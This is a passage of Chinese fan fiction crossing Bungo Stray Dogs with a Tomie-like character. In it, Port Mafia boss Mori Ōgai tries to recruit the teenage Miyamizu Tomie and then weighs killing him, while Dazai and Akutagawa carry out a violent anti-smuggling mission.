少女感觉到了，却并没发声，而是在对方看不见的角度面无表情的抬起头观察着少年的神情，与之前娇惯的模样全然不同。 “并不是……”宫水富江回答，但很快又开口，“但我想我以后会定居在这里。” “所以今天出门是打算去看看在网上看中的房子，没有想到被导航到了这里……” 说到这里，宫水富江就失落起来，他完全被导航害惨了！ 只不过…… 宫水富江低垂着头看向自己的鞋子，他也并非完全没有收获。 就比如，他好像明白怎么按照中原先生说的那样利用能力。当然，也要感谢太宰先生部下的提醒。 总之，这也是他没有果断拒绝面前两人好意的原因。 他并不觉得，现在的自己会出什么很严重的问题。 “怪不得……”对方回应，“不过这附近的房子吗？看起来并不符合你的要求吧？” “是这样的……” 宫水富江回答，顺着对方的话语他将自己的目的地告知了对方。 即使这个房子再好，经历这一遭，他是什么都不会再选择这套房子了！ 却没有想到，这个地址对方似乎很熟悉。 只见对方露出诧异的目光看向他，“我以前居住的地方……距离你刚刚说的地址很近。” 宫水富江微微诧异，不等说点什么，就听对方继续道，“但是那里可并不像你觉得那么好。怎么说呢……” 对方犹豫了下后才开口，“虽然没有擂钵街这么混乱，但是那里其实并没有好到哪里去，只是看起来比较整洁。毕竟那块地方是介于港口Mafia和擂钵街的中间地带，早就因为过去的各种冲突而处于无人居住的状态。” 宫水富江张了张嘴不知道说些什么，不禁好奇起来，“为什么、……” 为什么面前的人知道那么多，明明是个医生，不是吗？ 可因为称呼问题，宫水富江并未好好的问出来。 幸好对方似乎明白他顿住的理由，十分贴心地告诉了对方。 “啊，我的名字是森鸥外。”然后又指了指握着他的左手的女孩继续道，“虽然我觉得你已经知道了小女的名字，但在这里还是正式地介绍一下吧。她的名字……” “我的名字是爱丽丝呦，像林太郎那样喊我爱丽丝酱就可以了，小哥哥。” 身旁的爱丽丝对他露出了甜美的笑容，仿佛之前面无表情的不是她。 宫水富江礼貌性微笑，“我的名字是富江，宫水富江。” “富江，富江吗……既然这样，称呼你为富江君，可以吗？” 中年男人重复着他的名字，像是在咀嚼着什么。 宫水富江轻轻蹙眉，说不出来哪里奇怪，但还是点了点头。 “那个，我有件事想要询问森先生。”宫水富江继续道，“为什么森先生你会对于这些事情知道得这么清楚？” 他的话音刚落下，走在他前方多几个身位的中年男人停下了脚步，回眸看向他。 紫红色的眼眸倒映着他的身影，面上带着淡淡的笑容。明明看起来只像个懒散的医生，却不知为何发出了特殊的气场。 宫水富江也下意识的停下了脚步，注视着面前的人。 对方说，“大概是因为……我以前是住在那里的黑医吧。” * 不知名的中间地带，废旧房屋。 森鸥外带着身后的黑发少年漫步走过。 与他偶遇……这件事情是假的，但想与对方接触是真的。 上次拍卖会的事情后，他清楚地知道面前的少年没有他最初想得那么简单。至少对方并非普通人，而是一名精神系的异能力者。 精神系的异能力者哪怕在全世界也是炙手可热、最为特殊的存在。 虽然对方并不是横滨或者说日本的第一位精神系异能力者，但是他所知道的上一名精神系异能力者不可控性还是太大了，完全处于无法随意使用的阶段，只能安排对方住在港口Mafia内的特殊房间。 可面前这一个…… 森鸥外用余光看向左后侧无知的少年。 如果他当时观察的没错，在刚刚对方遭遇危机的时候，对方确实是打算主动使用自己的精神系异能力的。 既然如此，是否意味着对方的精神系异能力是可控的？ 若是这样…… “到了。”心中冒出想法的森鸥外停在一道门前，对着身后的一人一异能体开口。 他打开房门，吱呀一声后，掀起了一阵灰尘。 “……真的是这里吗？”少年半信半疑地询问，话语之中多有警惕。 森鸥外装作苦恼地回答，“毕竟是以前的住所嘛，许久不住难免会这样的……啊，但是你放心，这里面的设施和医疗用品还是没有问题的，我会定时过来检查这些东西，以备不时之需。” 说完，他率先走了进去。 越过长长的走廊，他带着对方来到了摆放着医疗设备的地方。 “就是这里，你等我一下。”森鸥外准备出去拿东西，于是看向自己的人形异能体，“爱丽丝酱，麻烦你帮我照顾一下他，好吗？” “哈？还要你废话吗？”对方双手环绕在胸前，“就算你不用说，我也会好好照顾他的！你这个大叔还是快点去拿东西吧！” “爱丽丝酱……”森鸥外装模作样地表演了一番，很快离开原地。 他来到隔壁的药房，面对久久不散的消毒水的味道眨都不眨，只是平淡地取着他需要的药品和包扎用的绷带，然后快速返回。 “我回来了！”说着，他看到了已经被爱丽丝邀请坐在板凳上的黑发少年。 对方表情懵懵懂懂的怀顾四周，有警惕性，但可惜…… 在森鸥外的眼中，这种警惕心完全不够。 如果他真想骗，恐怕这个孩子如今连骨头渣都不剩了。 先到这里，森鸥外面不改色地走进去，随着距离越近，熟悉的香味越发浓郁。 ……好像比之前在蛋糕店内还要香？ 他的脑海里下意识冒出这个想法。 之前在擂钵街的时候血腥味大幅度冲散了这股味道，只剩下铁锈味和恶臭味更加明显。 可现在处于这种因为长久没有人出现打理而散发着轻微霉味的房间，这种香味才成为主导。 尽管这么想着，他还是快步走到了少年的身边，轻声道，“把胳膊伸出来。” 少年听话地将胳膊伸了过来，仿佛什么都不担心。 森鸥外抬起手，解开了最初包扎在对方胳膊上应急用的手帕。 本想随手放在一旁，可不知道是对方佩戴了太久还是别的原因，森鸥外总觉得这个手帕上似乎也浸染上了少年的香味。 他顿了一下，最后将这块手帕放入到一旁摆放东西的盘中。 爱丽丝抬眸不动声色地看了他一眼，森鸥外知道对方在想什么。 作为他设定的人形异能体，恐怕现在正觉得他刚刚的想法很恶心。 森鸥外无视对方，让少年将整只手臂露出来。 对方按照他的要求脱下了外套，露出内里简单的T恤，没有衣服束缚的胳膊如同缺失外壳的蚌壳正显露着白皙滑嫩的皮肤。 然后，少年主动将珍珠放在了他的面前。 森鸥外的视线落在对方的肌肤上，鼻腔中的香味愈发诱人。 “富江君经常会遇到那种事情吗？” “那种事情？”黑发少年重复，似乎并不能理解他的意思。 森鸥外为对方的伤口消毒抹药的同时进行解释，“就是刚刚那种被纠缠的情况。” “毕竟你长得确实比我所见过的美人还要美丽……当然，这只是我出于客观事实，才这么说的。” “哼。”无人关注的少女突然发出声音。 黑发少年看了过去，却只能得到少女摇头表示无事发生的意思。 但作为对方的人形异能体她有什么不明白的？就好像对方只要这么说，就能抛开他的私心一样。 森鸥外并无反应，只是等待着少年的回答。 “确实经常会有……但我想只要携带武器并减少出门的次数就可以了吧？”对方声音中明显地带着不确定。 森鸥外却只想笑。 人性本恶，对方的想法还是太天真了，恐怕就算是中也君也不会这么想。 但是，对方会有这种想法对于他来说刚刚好。 “原来如此，富江君是自己忍让的那种类型吗？”森鸥外故意道。 “倒也不至于，其实我也不是很爱出门，而且……”对方蹩脚地为自己辩解，并似乎还想说点什么。 而且他还有异能力——对方未说完的话语是这个吗？ 森鸥外边想，边放下药品，转而为对方换上绷带。 说起来这个绷带还是特意为太宰君准备的，对方总是能耗费他大量的绷带，害得他不得不经常备用。 现在还能找到真是太好了！ “但是只要出门，就会遇到那种情况其实对于你来说也并不好过吧？”森鸥外故作贴心，“如果这一次不是偶然遇到了我，恐怕你也会遇到危险。” “所以，富江君有没有考虑过……” 他将绷带固定好，沿着固定的地方摩挲，确认没有开口后，才抬眸看向面前的黑发少年继续道，“——寻求某个组织庇护这种事情？” 第35章 宫水富江注视着面前中年男人紫红色的眼眸, 有些不明白对方的话题为什么会扯到这个地方。 不知道是他脸上的茫然太明显，还是对方猜到了他心中的意思，宫水富江只见对方和蔼地笑了笑解释了原因。 “你看, 我之前不是已经说了吗？我曾经是住在这里的黑医。” 宫水富江的记性当然没有那么差，他点了点头表示自己明白。 对方见状, 又继续道，“当时的横滨太过混乱, 再加上我是收费比较便宜又不过问的黑医，所以那个时候无论是哪个组织的人只要受了伤到了我的地盘都会默认将这里当成中间地带，绝不闹事。” “可是这种规则也仅仅只有一部分人在遵守，总是有很多自以为是的家伙无视我的意愿, 强行让我先给对方治疗，然后殴打同样来到我这里进行治疗的敌方势力成员。” 宫水富江能理解，就连法律在那里规定也依然有人违法犯罪, 所以这种东西只有想遵守的人才会愿意好好遵守，对于不想遵守的人来说, 他们自然也会无视。 更别提对方的这种规则只是默认, 还并不像法律那样有明文规定。 “这种事情发生了太多次，以至于我作为医生也经常会被牵连其中, 索性后来干脆加入了某个组织做点后勤的工作。”对方伸出双手，示意着自己现在的生活, “实际上这的确是个不错的选择, 至少再也没有那种连我也被牵扯其中的事情发生。” “所以我觉得富江君也不妨考虑一下, 我想这也不算是个坏提议。” 对方确实说得有一定道理。 宫水富江难以否认这一点。 只是…… 似乎看见他还在犹豫，对方又继续道，“如果你是担心组织怎么样的话，我想并不用太担心。作为其中的一员我可以保证, 港口Mafia的环境和待遇还是相当不错的，虽然有的时候会忙一点，但并没有大家以为的那么糟糕。而且如果你加入的话，我会想办法看看能不能把你带到我身边工作。” “而且……”中年男人的话锋一转，意有所指道，“能和熟人一起工作，会更加有动力一点吧？” 港口Mafia？ 宫水富江震惊，这不就是太宰先生和中原先生现在所在的组织吗？！ 在宫水富江因为诧异而没有注意的角落，他身边金发碧眼的少女则是正对着因为微笑而眯起双眸的森鸥外露出了张超级无敌明显的臭脸。 什么曾经是个黑医，现在加入把你带到我的身边工作……搞得就好像对方现在在港口Mafia医疗部门做后勤工作一样，只要富江加入就可以成为对方打下手的助手一样。 别以为她不知道对方的心思，只要加入，富江虽然会和对方说的一样在对方身边工作，但绝对不是什么助手，而是秘书！ “爱丽丝酱也很想和富江君经常一起玩吧？”中年男人笑眯眯地对着金发碧眼的少女开口，像是期待着什么。 对此爱丽丝只是趁着宫水富江看不到的时候，给对方翻了一个白眼。 “那个不好意思，森先生。” 森鸥外的视线从爱丽丝身上转移开，落到面前黑发少年的身上。 对方微微低垂着头，注视着脚边的地板，张了张鲜嫩欲滴的薄唇，对他开口说出了答案： “————” * 脏乱且许久无人打理的建筑中，只剩下穿着白大褂的中年男人和身穿红色洛丽塔的少女。 “……失败了呢。” 森鸥外注视着黑发少年离开的门口，久久不肯移开视线地说道。 爱丽丝则是侧头看向黑发男人，理所当然地开口，“不来才是最好的吧？毕竟林太郎你的想法很恶心呢！” 森鸥外听到，立即露出要哭不哭的模样转头看向身旁可爱的金发碧眼少女，用着委屈的腔调抱怨，“诶？爱丽丝酱未免也太犀利了吧？再怎么说，我也不完全是为了自己，更多的是为了组织吧！” “而且——” 他的模样很快恢复了正常，语气沉稳起来，“本以为对方会看在太宰君或者中也君的面子上加入，却没有想到对方毫不留情地拒绝了。” “不过这样一来，就得从太宰那边看看情况了。” 说完，他紫红色的目光注意到了之前被他摆在托盘中的因为血液而鲜红的手帕。 他伸出手将那条手帕拿了起来，放在了鼻尖前，轻轻地嗅着。 并不是他的错觉，除了铁锈味外，这上面还散发着淡淡的幽香，与那黑发少年身上的味道如出一辙。 爱丽丝看着对方的动作，表情带着鄙夷。 就这样哪里不恶心了？她哪里说话犀利了？明明说的都是大实话好吗？ 不久后，森鸥外携带着爱丽丝离开了那里，走小路来到了港口Mafia总部大厦的暗道——那部可以直达他办公室内独有的、堪比五星级酒店的休息室的电梯门口。 走进去以后，他们直接按下了最高一层的按钮，电梯门关上。 等电梯门再次打开熟悉的景色出现在他们的面前，没有理会爱丽丝的位置，森鸥外直接脱下白色大褂随手甩在旁边的沙发座椅上，然后径直来到了洗浴室进行洗漱。 不久后，他穿戴着简单的浴袍来到了衣柜前。紫红色的眼眸扫过里面几乎一模一样的服装后，随意拎起其中一件。 将白色衬衫和西装裤穿好后，他干脆利落地将黑色长衣外套穿戴好。 紧接着来到落地衣架前，取下红色围巾披在肩上。 做完这一切，他边走出休息室的房门，边用手指将分散在两边的头发梳了上去。 等他来到办公桌前坐下后，他依然是众人眼中港口Mafia首领该有的模样。 森鸥外的目光督向自己人形异能体所在的位置，只见对方正坐在不远处的沙发边安静地吃着小蛋糕。 见状，他为自己身后的落地窗通上了电。霎时间，阳光透过玻璃洒进屋内，将一切照得明亮。 确认所有的一切准备无误后，他注视着桌面上两份文件，拿起桌面上的座机电话给自己的秘书处打了通电话。 ** 太宰治顺应副手中西宽人的话语回应首领的命令来到最高一层首领办公室，直至出现在门口，他都依然用一种很悠哉的姿态走路，仿佛完全不担心首领对他这种态度有什么不满。 甚至在被守门人员进行例行检查的时候，还随意地打了声哈欠。 房门在检查后打开，太宰治漫步走了进去。紧接着悠哉的举止被迫打断，脸上露出了嫌弃的神情。 因为此刻一起出现在首领办公室的除了他以外，还有另一个黑漆漆的小矮子。 “你那是什么神情！该做出这副模样的人应该是我才对吧！”中原中也不满地看向黑发青年，他可是全程看到了对方变脸的速度！ “当然是看见蛞蝓的神情了……有点恶心人了。” 说着，黑发青年摩擦着自己的胳膊，像是在极力安抚竖起的汗毛。 “你这个混蛋！”中原中也额角青筋暴起，“明明迟到的是你，居然还有脸这样！” “那又怎么了？”对方毫不示弱，“倒不如说，听到有任务就上赶着过来的中也哪里才有问题吧？你是什么小狗吗？听到主人的呼唤就急匆匆跑过来的那种令人恶心的动物！” “哈？小狗又怎么了？它明明很可爱不是吗？” 森鸥外坐在两人面前，露出淡然的微笑注视着他们之间的争吵，直至双方都吵不动，开始气喘吁吁地流汗后，他才缓缓开口，“嘛嘛，你们两个什么时候才能见面不吵起来呢？” “绝对不可能！” “又不是我想吵的！” 两人几乎同时猛地看向森鸥外，说出了自己的想法。 然后相互怒视了一秒后，撇过了头去。 森鸥外只是和蔼地笑了两声，完全不把他们的吵闹当回事。 “所以，首领今天叫我们过来不会又是让我们两个一起工作的任务吧？” 黑发青年神色恹恹地询问着，似乎对于这种猜想相当不满意。 而身边听到的赭发青年也不自觉地蹙起眉头，对于这种说法相当不情愿。 “怎么会呢。”森鸥外面不改色地回答，“最近有没有那种需要你们两个同时进行的重要任务，所以这次召见你们单纯只是巧合。” 太宰治狐疑地望着面前紫红色眼眸的老狐狸，很难看明白对方究竟是说真的还是说假的。 反倒是中原中也，轻而易举地相信了面前的中年男人，松了口气道，“什么嘛，那就好……” 森鸥外听到中原中也的话语，笑眯眯地开口，“中也君，还记得我之前说过的事情吗？” “之前说过的事情……？”中原中也神情有些紧张，他有点想不起来对方说的是哪件事情。 “你忘记了吗？我之前明明还让你跟随我和太宰的身后，观摩怎么与别人谈合作进行交易来着。” 在森鸥外的指引下，中原中也的双眸渐渐睁大，他张了张嘴，然后难以置信地询问，“难道说……” “就是那个‘难道说’，中也君。”森鸥外注视着面前表情激动的赭发青年，说出了对方心中所想的事情，“你晋升干部的任务出现了。” “太好了……！”赭发青年语气激动，紧紧地握着双手。 太宰治注视着对方的举动，故作无所谓的态度，“真是的，这种事情有什么好激动的。也就中也这样还没有成为干部的才会这样吧？不像我，其实已经毫无感觉了。” 中原中也一听，激动瞬间变成愤怒，他的手依然紧紧攥着，但这次不是因为情不自禁，而是单纯地想揍人。 “不就比我早一个月成为干部吗？有什么好得意的？！” “先不说你现在只是接到了晋升干部的任务，其实并不是早一个月。就算是早一天，那也是我比你先成为干部。更别说无论中也你再怎么激动，港口Mafia历代最年轻的干部都只会是我，而不是你！” 黑发青年的话语属实令人愤怒，眼看赭发青年快克制不住，森鸥外立即打了圆场。 “太宰君，别再刺激中也君了，你也不想接下来的一个月都在病床上度过吧？” 眼看黑发青年还想说点什么，森鸥外又继续道，“而且，就算你在病床上，到时候你该完成的工作，你也逃不掉。到时候我会让你的副手好好地将文件抱到你的病床前，监督你工作的。” “嘁。”黑发青年发出不满的声音，撇过了头不再说话。 森鸥外看到有效果便侧头看向赭发青年，他伸出手将桌面上其中一份文件推到对方面前，“中也君，虽说我和太宰君尽量教了你一些知识和经验，但具体该怎么做就得看你自己了。” “因为这次你的任务地点在欧美，出差完成任务，我想恐怕得需要花半个月起步。我和太宰君恐怕很难在你需要的时候帮上你的忙。” 中原中也上前拿起被推到自己面前的文件粗鲁地看了起来，如同对方所说，这次的任务地点不仅很远，而且那边还是刚表达希望与港口Mafia达成合作关系的组织。 也就是说，对于中原中也而言，他需要从基础的利益开始与对方谈判，是一件需要很长过程的任务。 “我明白了。”但中原中也不打算因此而拒绝这项任务，他明白森鸥外对他的期待，所以准备好好做好万全之策，好好完成任务，让首领对他另眼相看。 更重要的是……如果失败了太宰那条青花鱼绝对会狠狠地嘲笑他！ 虽然还没有到那一步，但中原中也已经想到了那幅场景。 注视着对方狠狠捏住手中文件的动作，太宰治和森鸥外同时明白了对方在想什么。 “咳咳。”森鸥外轻咳了两声，看着注意力拉回来的中原中也继续道，“就是这样，如果没有别的什么事情需要说的，中也可以先离开了。” “在明天出差前，你可以好好休息一下，做好准备。” 中原中也摘下黑色礼帽，在半蹲下的同时将其摆放在胸前，尊敬地回答，“属下明白了。” 直至做完这一切，他才离开办公室。 随着大门再次关上，偌大的房间内只剩下了黑发青年和其首领两个人。 “所以首领，我的任务是什么？” 森鸥外注视着面前黑发青年面无表情的面孔，保持微笑地开口，“最近港口Mafia内准备交接私品的事情你知道吧？” 太宰治与首领对视，随后轻轻蹙眉，“你是想说，有人打算对私品下手？” “没错。”森鸥外双手合十抵在下颚，笑着回应了对方。 与需要提点才能明白的中原中也不同，他的弟子太宰治真的只需要一句开头就能明白他的意思。 这种聪慧程度，令他相当欣慰。但欣慰的同时……又忍不住忌惮。 虽然这么想，但森鸥外依然面不改色地继续道，“正是这样，所以你的任务很简单。活捉他们，审问出他们背后的组织是谁，然后彻底歼灭那个组织。” “毕竟……” “——对组织的攻击必定双倍奉还。”① 太宰治接上面前这个紫红色眼眸微微发亮的中年男人的话语。 迎着对方高深莫测的笑容，太宰治叹了一口气，“我知道了，等一下我就带上我的部下去看看是什么情况。” “既然如此，那我就先行离、……” “等一下，太宰君。” 太宰治的脚步一顿，他看向坐在面前的首领询问，“还有什么事情吗，首领？” “说起来我好像很久没有询问过了，你和那位宫水富江君的发展怎么样了？”森鸥外无视对方的神情，故意笑眯眯地询问，像是操心孩子恋爱关系的家长。 黑发青年面无表情盯着他好一会儿，随后重重地叹了口气，摊开双手，露出无奈的神情，“我们的情况首领你当真不知道吗？” “我？”中年男人伸出手指了指自己，一脸不解。 黑发青年肯定道，“就是你啦首领！明明每天给我安排任务的就是你，你会不清楚我最近都快住在港口Mafia了吗？” 随后音量不小地嘀咕抱怨着，“要知道我现在可是比那只蛞蝓还要忙碌，对方好歹出差前还有时间休息，轮到我这里可是需要马上带着部下出发查看情况诶……” 中年男人脸上似乎快要被说得挂不住笑容，见对方没有停下来的打算，他终于对着黑发青年举起手，慌忙开口，“我知道了我知道了，太宰君！” “这样吧！在这次任务之后，你想休息多久就休息多久，怎么样？” “……真的吗？”黑发青年半信半疑。 中年男人用力地点头，“当然了，我在这方面可不会骗人！” 见中年男人眼中没有说谎的样子，黑发青年也不再过多为难，而是在对其做了个告辞的姿势后离去。 在对方打开房门离开的瞬间，中年男人还装模作样地摆出松了口气的姿势。 直至房门关上的声音响起，屋内只剩下他和人形异能体，他才勾起唇角笑了起来。 “太宰君也到了这个年纪了呢……”他意有所指地笑了起来。 而坐在一旁沙发上不知道什么事情吃完蛋糕的爱丽丝则开口，“总比起某个老男人好吧？” 森鸥外没有说话，只是注视着自己的异能体保持微笑。 直至对方神情开始紧张，他才缓缓开口，“爱丽丝酱，我可没有那种想法……” 少女却只是从沙发上下来，躲到沙发后。 然后用一种既害怕又勇敢的姿态，从沙发后探出身体开口，“我知道的！毕竟你现在已经打算解决掉富江小哥哥了不是吗？” 森鸥外无辜地摊了摊手，“我也不想的，可对方就算看重太宰君和中也君，也不愿意加入港口Mafia。而且太宰君刚刚的态度你也看到了不是吗？他明明都开始在我面前维护起了富江君——” 他说到这里尾调拉长，像是想到了什么继续道，“既然无法留下，又不想对方落到别人那里，那就只能除掉了。” “刚好遇到最好的时机，错过这次机会，下次就不知道是什么时候了……”他叹息道。 说完，森鸥外紫红色的眼眸看向金发少女所在的位置。 渐渐地，少女不再是刚刚那副活泼的模样，而是转变为了面无表情、眼眸无光的状态。 她，又或者它缓慢来到了森鸥外的面前，彻底展现出了作为人形异能体的特点——非人感。 在森鸥外的目光中，金发少女的模样渐渐改变，它逐渐高挑、消瘦，失去少女的特征，显露出少年的特点，身上的红色洛丽塔也逐渐变为休闲的黑色服装。 就连对方的脸型也在不断变化，轮廓变分明，金丝变黑发，碧眼转黑瞳，左眼眼尾处出现了一颗显眼的泪痣。 很快，它的双目变得有神起来，表情也开始鲜活，变得像个正常的人类。 森鸥外安静地注视着这一幕，然后看着对方对他喊了一声，“林太郎。” 那是熟悉又悦耳的声音，可是—— “果然还是觉得哪里不对呢……”他淡淡道，眼里满是无趣。 直至熟悉的黑发少年恢复成金发碧眼的少女，对他怒喊，“林太郎你这个三心二意的混蛋！居然这么对我！” 森鸥外才做出抱歉的模样，对其夹起声音开口，“抱歉呢，爱丽丝酱。我只是有点好奇罢了！毕竟——” 他的语气极快地发生转变，“就算真的把你变成富江君的模样，也无法对外面的人解释你怎么不见了，也不好让这样的富江君面对中也君呢。” 虽然说着抱歉的话语，但与碧眼对视着的紫红色的眼眸微微发光，其中没有任何愧疚，只有……不知道如何解释的困扰。 第36章 港口Mafia总部大厦, 太宰治办公室内。 被窗帘遮住的窗户，紧闭的大门，都让这个房间充斥着安静的氛围。 而其中一个左眼被绷带绑住的黑发青年则靠在沙发上, 仰着头看着天花板，像是在发呆。 【“……你以前是个怎样的人？”】 回忆中, 他‘看’到自己在这样询问着面前的少年，而对方则是在想了什么后对他回答, 【“普通人吧。”】 【“以前的我怎么看，都只是个普通人而已。”】 当时的他在想什么呢？他好像是在想…… ——果然如此。 自己对面前少年的猜想获得了证实，对方即使已经称不上是人类了，但依然拥有着和人类一样的思维模式。 既然如此, 在对方的视角里，这个世界岂不是到处充斥着因为他的美貌和能力而想要杀了他的人群。 因此，他才会在愣神之后笑了起来。 很像。 虽然表现形式不同, 但太宰治不得不承认一件事。 他们所面对的世界都是同样腐朽而丑陋的，甚至对方所看到的世界更甚。 这样一来, 他不得不对面前的人产生一个疑问。 ——对方即便这样也想要活着的理由是什么？ 这么想的同时, 他也这样问了出来。 然后，他听到少年在阳光下这么回答他： 【“想活从来都不需要任何理由。”】 【“相反, 想要继续活下去和想要就这样死去才需要理由。”】 那一瞬间，太宰治的大脑空白。 他感觉对方的话语变成了某种攻击, 透过躯体直达自己的灵魂要害。 逃跑。 脑海中莫名冒出这个词, 于是他顺从地按照这个想法离开了原地远离了对方。 可现在回想起来…… 太宰治不禁疑惑, 他还是想不明白自己当时为什么想要逃跑。 “叩叩叩。” 房门响起，太宰治维持着注视着天花板的姿势开口，“进来。” 话音刚落下，房门就发出被打开的声响。 紧接着脚步声由远及近地响起, 直至停在他的面前，对方才开口说话。 “太宰先生，我们组的成员都聚集好了，您看……” 太宰治坐起身，看着面前低垂着头的中西宽人，他站了起来，“那就出发好了。” 用任务将少年挤出脑海，接着他就能像以前一样。 边自杀，边寻找活下去的理由。 * 太宰治面无表情地带队来到了首领口中被盯上的走私地点——港口，然后将自己想到的计划告知了众人。 “……诱饵计划啦诱饵计划，我带你们这么久，你们应该知道自己该怎么做吧？” 黑发青年站在一旁，注视着面前排列整齐的一众成员，毫不客气地开口示意。 他们没有人存在怀疑，而是训练有素的同时发出声音，“是！” 显然已经不是第一次这样。 太宰治还算满意地看着自己带了这么久的队伍，至少听从命令这一块，他们做得还是很好的。 除了…… 他的鸢眸落到了不远处正因为海风而被引发咳嗽的少年，作为刚加入的新人，对方并没有应答。 不过这也是自然，他什么都没有解释，对方自然什么也不懂，也不知道自己该做什么。 “芥川。” “在下在！” 芥川龙之介立即遏制自己想要继续咳嗽的欲望回答着面前黑发青年的话语。 目光与那双鸢眸对视，随后他听到面前的黑发青年对他开口，“芥川，既然是新加入进来的，那我就直接告诉你你接下来在诱饵计划中的位置和任务吧。” 芥川龙之介感到了激动，他迫不及待地回答，“是，在下一定会完成太宰先生交代的任务。” 可面对他的态度，太宰先生却只是淡漠地无视。 芥川龙之介有些失望，但还是认真听着对方的命令。 “诱饵计划一定会很快被他们察觉，到时候速度快的家伙肯定会立即逃走。而芥川你的任务就是追上那些逃走的人，然后解决掉他们。” “在下明白了。”芥川龙之介点头接受了任务，并在内心暗自发誓一定要让太宰先生看看他最近这些天做任务锻炼出来的能力。 太宰治虽然不知道发型如同垂耳兔的少年心中在想什么，但从对方的面孔上来看，无非就是想要证明给他看对方的实力。 他不再过多关注，而是侧头看向了众多部下，冷淡地开口，“既然这样，那就开始执行任务吧。” “我会在一旁看着你们的。” 无视这句话给部下们带来的压力，太宰治径直离开了原地。 按照他的预想，这个任务恐怕这两天就能结束。 很快，敌人按照原先走私物品的时间来到了目的地，又如同他所想的那样发现了自己掉入了陷阱。 在意识到这点后，一部分人愣在原地，一部分人惊慌地四处逃跑。 他注视着芥川龙之介追逐在那些人的身后，只不过因为身体原因，对方在追逐那些人的时候总是落后一步。 眼看着宛如垂耳兔般的少年追随着敌人越走越远，太宰治却眼都不眨一下。 如果对方连这种任务都完成不了，那么说明他看走了眼——对方完全没有他想的那样有巨大的潜力。 “……太宰先生，这边也结束了。” 中西宽人的声音从耳边响起，太宰治顺着对方话语看向不远处的地面。 那里有五六个家伙被捆绑住双手双腿而只能坐在地面上，同时他们的周围还躺着几个因为发觉陷阱拿出枪支反抗而被提前解决的家伙。 他刚想说点什么，就发现被捆绑住的几人中有两三个人做出了什么动作。 太宰治微眯双眸，通过他们咬颌的动作，他迅速判断出来了他们在做什么——咬碎提前藏在后槽牙中的毒药。 意识到这一点后，他立即对着看守那几个人身边的部下开口，“将他们的下颚卸掉。” 虽然不明白发生了什么，但是长久听从上司命令的他们身体已经在下意识按照太宰治的话语行动。 几乎是眨眼间，他们就将被捆绑在地面上的几人下颚卸掉。 只可惜，尽管他们的速度不慢，但最先开始进行咬合动作的那几个人已经成功。 毒药发作，使得他们没多久就死去。可万幸的是，还有两三个人还活着。 太宰治注视着因为毒药死去的几人，又看了看另外的两三个人，最终开口，“……算了，这几个人活着就行。” 审问出他们背后的组织，也不是需要那么多人的事情。 接下来就只需要…… 太宰治望向芥川龙之介离开的方向，最后对着身旁的中西宽人开口，“我们先回港口Mafia，至于芥川……” 他顿了顿继续，“等他解决完那几个逃跑的家伙，就让他回地下审讯室来见我复命吧。” 中西宽人低头回应，“是。” * 芥川龙之介并不知道太宰先生已经离开了原地，他只是严格按照太宰先生的命令追逐着面前不断逃跑的敌人。 看着距离他越来越近的敌人，他本就凶恶的目光更加凶残。 对方即便如此也依旧在不停逃跑，直至来到巷口，对方边会回头看向他所在的位置，边查看眼前的逃跑路径。 很快，芥川龙之介注意到对方的目光似乎看到了什么，然后在分叉口转身逃走。 芥川龙之介心中微微升起疑惑，但还是在完成命令的想法下停止并加快了脚步。 同样在岔路口转身，他才终于知道对方之前看到的是什么。 灰色的眼眸在触及对方背影的那一刻，芥川龙之介比自己想象的要更快分辨出面前的少年——宫水富江。 对方正背对着他、又或者说是他们往前走着，完全没有察觉到自己身后有谁，又即将会面对什么危险。 敌人即将赶上少年，从对方逃跑的路线，芥川龙之介发现自己能直接分析出对方想要利用少年对他进行阻拦的未来。 ……无用之举。 如果是之前的他肯定会这么想，但是看着那个完全不知情的少年，芥川龙之介很难将这个想法顺利按在对方的举动上。 他张了张嘴，想要喊少年躲避。 可是脑海中又倏地想起太宰先生所说的话语。 【“芥川，以后你再也不许靠近富江。”】 冰冷的感觉再次袭来，这一瞬间，喉咙仿佛失去了声带无法发出声音。 不想违背太宰先生的命令，但又不想看着少年眼睁睁地死去。 在芥川龙之介进退两难的抉择中，他注意到敌人即将触碰到少年肩膀的手。 “——异能力[罗生门·彼岸花]！” 大脑没有思考，下意识使用异能力将黑色风衣下摆变为黑兽进行远程攻击。 这是他刚刚想出来新招式，虽然太宰先生让他多思考自己异能力的各种使用方式，但是他还是第一次这么快想到新方法。 几乎是喊出来的瞬间，黑兽冲向了敌人，在贯穿对方的同时，为了防止对方逃跑，黑兽变换为如同海胆般膨胀出黑刺的状态。 敌人甚至来不及发出声音，在黑刺扎进身体后便口吐鲜血死亡。 芥川龙之介看着对方死掉的场景，没有任何完成任务的喜悦，有的只是一个念头。 ——只要在对方发现他之前赶紧离开…… 可才这样想，准备收回[罗生门]快速离开的时候，少年的声音从不远处响起。 “……什么声音？” 对方话语中充满着困惑，说着准备回头。 发觉这一点的芥川龙之介立即取消了自己的异能力，尸体从半空中跌落到水泥地上，发出结实而沉闷的响声。 就在他再次发动自己的异能力准备离开的时候，比他更快的是少年的声音。 “人？尸体？”对方注意到了声响，然后抬起头看到了不远处的他，于是诧异地开口，“等等，你不是上次遇到的那个太宰先生的部下吗？” 芥川龙之介的身体随着对方注意到他的话语而僵硬。 虽然心里想要听从太宰先生的命令不再靠近对方，可他没有想到自己的身体却违背了他的意愿停留在原地。 最终，他缓缓抬起头。 映入眼帘的，是黑发少年那熟悉的、眼尾带痣的精致容貌。 第37章 宫水富江是被身后突然的声音惊到转头的, 本来还觉得有点耳熟，结果下一刻又听到了什么东西以一种极近的距离从半空中落下的声音。 被吓到的他下意识回头，没有想到往地面上一看刚好看到了一具尸体。 这种东西怎么看都不可能突然出现, 顺着自己的直觉，宫水富江看向了不远处, 发现了一个熟悉的身影。 定睛一看，正是上次遇到的那个发型奇特、身体患病的少年。 对方似乎没有想到他会直接喊住对方, 以至于身体有些僵硬，处在了一种走与不走的区间。 见状，宫水富江不再犹豫，径直走到对方面前。 直至此刻, 面前的少年才终于抬起头与他对视。 “许久不见。”宫水富江对其打了声招呼，然后指着刚刚在他身后死去的那具尸体，“刚刚这个人是？” 对方看了他一眼, 很快又移开视线，“……对港口Mafia利益出手的卑劣之人, 在下正在追杀他。” 宫水富江顺着对方的话语仔细看了一眼那具尸体, 虽然对方说得可能没有什么错，但是他并不觉得那个人出现在他的身后是什么巧合。 “所以, 那个人刚刚出现在我的身后是想把我作为阻挡你的挡箭牌吗？” 他直接说出自己的想法，果不其然见到了面前两缕发尾泛白的少年神态不自然起来。 到这里, 宫水富江还有什么不明白的。 “你果然是太宰先生的部下。”宫水富江不由得说出这句话。 